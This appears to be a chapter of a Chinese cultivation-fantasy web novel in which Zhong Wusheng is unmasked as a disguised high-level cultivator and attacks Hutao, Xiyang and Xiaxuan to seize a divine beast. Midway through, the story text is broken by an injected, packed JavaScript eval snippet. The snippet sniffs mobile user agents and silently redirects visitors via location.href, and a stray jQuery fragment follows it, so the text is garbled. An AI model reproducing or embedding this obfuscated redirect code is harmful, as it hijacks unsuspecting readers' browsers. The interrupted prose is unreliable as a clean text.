“你怎么……”
钟无声又惊又吓又不可置信又怀疑人生,上下来回打量胡桃好几圈,也没能将自己惊悚的情绪收敛起来。
不能怪他,任谁看到一个一阶修为的大活人莫名其妙变成千木灵,修为直指七阶八阶,都会无法接受的。
一个奚羊已经够了,居然又来一个!
他还以为自己撞见奚羊动用她手上千木灵的能力,和林子里的千木灵打起来了,谁知道是胡桃!
这冲击比发现奚羊身怀千木灵时可大多了。
钟无声心中有千言万语想说,但是又不能说,最后憋出一句:“你怎么和奚羊这么像,我还以为是她。”
胡桃怔愣一下:“奚羊?”
钟无声立刻:“她在哪儿?”
胡桃像是被他问懵了,半晌才摇摇头:“我不知道。”
她说完,钟无声也不知道该说什么了,气氛瞬间变得有些尴尬,他只好观察着胡桃的脸色,尝试判断自己应该说什么比较好。
他不确定胡桃是不是还记得那天的事。
胡桃看上去也的确在回忆,她想了想,抬头缓缓问:“那天……”
钟无声的身躯立刻紧绷起来。
胡桃却一无所知:“那天,是谁让你把掌门传书,转交给我的?”
钟无声背在身后的手上,暗自凝聚的灵力淡了些许,他像是没反应过来:“哦,那肯定是掌门啊,不过我们猜想,那个掌门也许是人假扮的。”
胡桃闻言点点头,“这就对了。”
她忽然抬头看向钟无声,目光扫了扫他肩膀的位置,像是在看他身后,忽然下意识出声道:“你……”
钟无声看向她。
胡桃眨眨眼:“和奚羊姐一起来的吗?”
钟无声气恼地翻了个白眼:“她没带我,自己跑了。”
他这样子倒是逗得胡桃一笑,她垂下眸,复又抬起,轻声道:“那我们去找她吧,小心方才追杀我的那个千木灵。”
钟无声也笑,却始终在细细观察胡桃的表情,最后才慢慢点下头。
“好。”
“好什么呀?”一道声音由远及近,深绿的身影随之而来。
狂风在颤动的地面上席卷,钟无声和胡桃同时抵挡,堪堪将夏束的猛烈一击分散开来。
“找我吗?别忙了。”
他身影落地时嘴角还带着笑,如果忽略他嘴角的绿色血液,还让人以为他未伤分毫。他的目光仅扫了胡桃半眼,便直直落在钟无声的身上。
“你又是哪儿冒出来的?”
钟无声心道我本来也不该冒出来的!
地面颤动得越发厉害,夏束也不愿再磨蹭,干脆利落地抬起手,又是一招蓄力,灵力直冲着钟无声而去!
后者眸光一闪,电光火石间便扯过旁边的胡桃向前一甩,打算趁这个档口赶紧跑路。
谁知胡桃被抓住的胳膊突然猛地转过,反手扣住钟无声的手臂,反向用力将他与自己扯到同一个水平面上,两个人不得不同时面对这攻击。
钟无声大惊,瞬间抬手,硬是帮胡桃抗下了一半攻击,两人双双被打退,他不可置信地转头,却对上胡桃失望的双眼。
“果然是你!七阶修为能隐藏成一阶,偷袭将我劫持至此,你究竟有何目的!”
她方才便已看到钟无声的七阶修为,她就说,之前夏束的全力一击,他怎么可能凭自己就挡回去,还伤了夏束。
听到钟无声的声音,她昏迷那日模糊的记忆便骤然间苏醒,想起钟无声拿掌门传书诱骗,将她打晕劫走的全部过程。
钟无声见已暴露,也不解释,冷然一笑,咬牙道:“你就死在这吧。”
说罢便手中掐诀,倏地消失在出现的阵法中。
胡桃脚下跟着一动,侧面夏束的攻击却又缠上来,他似乎有意放走钟无声,只为了以更快的速度要了胡桃的命。
她只好转头迎上去。
这次对上,不知是不是受伤的缘故,夏束的速度似乎迟滞了一点,他意识到什么,脸色黑沉下来,咬紧牙根骂了一句“该死,这么快”。
胡桃看到他一侧臂膀上,不知不觉地飘出一根绿色的线,发着微微的光。
夏束的速度又慢了些,他看上去越发拼命,攻击的灵力和伤害却逐渐减小,胡桃的喘息之机越来越多。
很快她发现,夏束身上的绿线越来越多,而自己的胳膊上,似乎也长出了一根似有若无的线。
。
钟无声一路朝着镜湖的方向狂奔。
刚才为了抵挡夏束那一招,他冲破了假修为的伪装,如今他可以感知到了。
奚羊的位置。
事已至此,五灵之森今日必有一战,他得在此之前找到她。
钟无声持续前进,同时他能感知得到,奚羊也在朝他的方向移动过来。
他们很快碰面。
“钟无声?你怎么在这?”奚羊与夏玄停在他面前,她惊讶地问。
钟无声也在原地站定:“我……跟着你来的,谁让你总不带我。”
奚羊诧异:“你怎么知道我在这?”
钟无声警惕地扫过一旁的夏玄,暗自思量胜算。
硬碰硬肯定不成,但这个千木灵被奚羊收服了,若是控制住奚羊,他便不能轻举妄动。
况且千木灵应当很排斥被修士收服才是,这千木灵就算没有以死抵抗,心中也应当很屈辱,或许抓了奚羊就正合他意,也说不定。
钟无声心中大致有了点盘算,思量着回答奚羊的话:“你能知道胡桃在这里,我为何不能知道你在这里?”
奚羊被他的强词夺理逗笑了,她眯起眼,侃道:“没想到你这么聪明,那让我猜猜,‘活捉奚羊’,是不是暗天门给你下的令!”
话音落地,气氛陡变,奚羊瞬间冷下脸,与夏玄同时出手朝他攻去,冲天的灵力涤荡,飞沙走石,空气都变得紧张。
钟无声险些反应不及,边施法设防边跳出原地翻身躲避,抓住侧面高处的树干一翻,便稳稳坐了上去,居高临下望向两人。
奚羊站在树下冷笑:“钟无声,演技真好,骗得我们团团转。”
钟无声对她的阴阳怪气视若无睹,面上的阳光单纯早已荡然无存,他靠在树上晃了晃腿,连嗓音都低沉了一个度。
“你是怎么发现我的?”
奚羊淡淡地看向他,声音毫无波澜:“胡桃给我传信了。”
“嗬。”钟无声露出个了然又鄙夷的表情,“那个贱人。”
空气中忽然有什么东西闪出一丝流光,奚羊被分散了注意力,顺着流光朝身旁看去。
那是一根细细的丝线,穿过空气,连接在夏玄身上。
他们两个相接触的目光中,不约而同带上了惊惶。
奚羊傻傻地喃道:“怎么会……”
禁木咒,怎么又出现了?
夏玄的声音传入她的脑袋:“看来,万木之灵破封了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104761|185809||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奚羊瞬间抬手一挥,火光划过,将空气中的丝线烧了个干净。
树上的钟无声看不见禁木咒,不过就他所看到的而言,他也大概知道万木之灵要出来,于是双手一撑,收起两腿蹲在了树干上,好整以暇。
“我说奚羊,你身边这个是活不久了,咱俩说实在的,也没什么仇怨,你要是老老实实配合,咱们都少打一架各回各家,你想去找胡桃,我还能给你指个路,怎么样?”
奚羊抬起头冷冷地盯着他:“什么意思?”
钟无声真诚开口:“把神□□出来。”
奚羊皱眉:“我问你说他活不长了是什么意思……什么神兽?”
钟无声:“……”
他的神色无语中带点恼火,想了想还是抬起下巴指了指夏玄,好言好语道:“那边千木灵和胡桃已经在自相残杀了,下一个不就是你咯?到时候万木之灵坐收渔翁之利,你们一个也跑不了。”
“至于你,”他说着从衣襟中摸出个小东西,又转头看回奚羊,“快点考虑,时辰可紧得很。”
奚羊确实没听懂:“什么神兽?”
钟无声知道她可能不晓得:“就是你捡的那只猫,解除契约交出来,我放你一条活路。”
奚羊心下暗自一惊,她早先猜想这猫估计不是什么普通野猫,谁知道居然是神兽啊,听上去相当高大上。
不过她上回刷级,将所有的精怪都丢给它吸收了,它从那时起就一直在睡,体格倒是见长,就是从来没醒过。
她想了想,抬头问:“你要它干什么?”
“少废话!”
奚羊没办法了,很快点点头说:“好吧,你下来,我给你。”
这么识相?
钟无声挑眉,从树干上跳下来,脚底刚挨到地面的瞬间,对面两道身影同时向前突进,霎时闪到钟无声面前,直指他的咽喉。
只见他抬手横贯在自己脖颈前,一股强大至极的黑紫色灵力瞬间从他掌心喷涌而出,他直接单手接下了奚羊和夏玄两个人的攻击。
并且毫发无伤。
两个人同时被这股诡异的灵力击退,奚羊后撤几步站稳:“卧槽!”
她和夏玄加起来起码有八阶巅峰,任谁都会觉得这把肯定稳了!这他都能接,他钟无声修为快赶上容琅了?!
不对劲!
“就知道你不老实。”钟无声笑道。
黑紫灵力散去,露出指缝中黑色的小圆球,他很快将手放下。
夏玄的状态逐渐变得有些糟糕,身侧奚羊看不到的那一面,绿色丝线一条接一条,如鱼群般飘散开来。
新的禁木咒不对,万木之灵一定是吸收了修士灵骨,连带着灵力都异化了!
此时对面的钟无声已经重新抬起手,唇角勾起一抹狠厉的弧度。
“轮到我了。”
他抬手正正对准奚羊,对面两人同时色变,奚羊出手抵挡却没挡住,钟无声居然同时抬起另一只手冲夏玄而去。
夏玄抵挡不足,胸口中招朝后退去,奚羊却被留在了原地。
一根黑紫色的半透明锁链自奚羊身体内贯穿而过,将她整个人完全困在了地上,她没有受伤,铁链贯穿处却剧痛无比。
她不支跪倒在地,高大的阴影覆盖过她的身躯,修长的手自下方掐住她的脸向上抬起,她被迫仰视钟无声,以从未有过的角度看向这个人。
“交出来,”钟无声垂下眸,手底渐渐用力,“立刻。”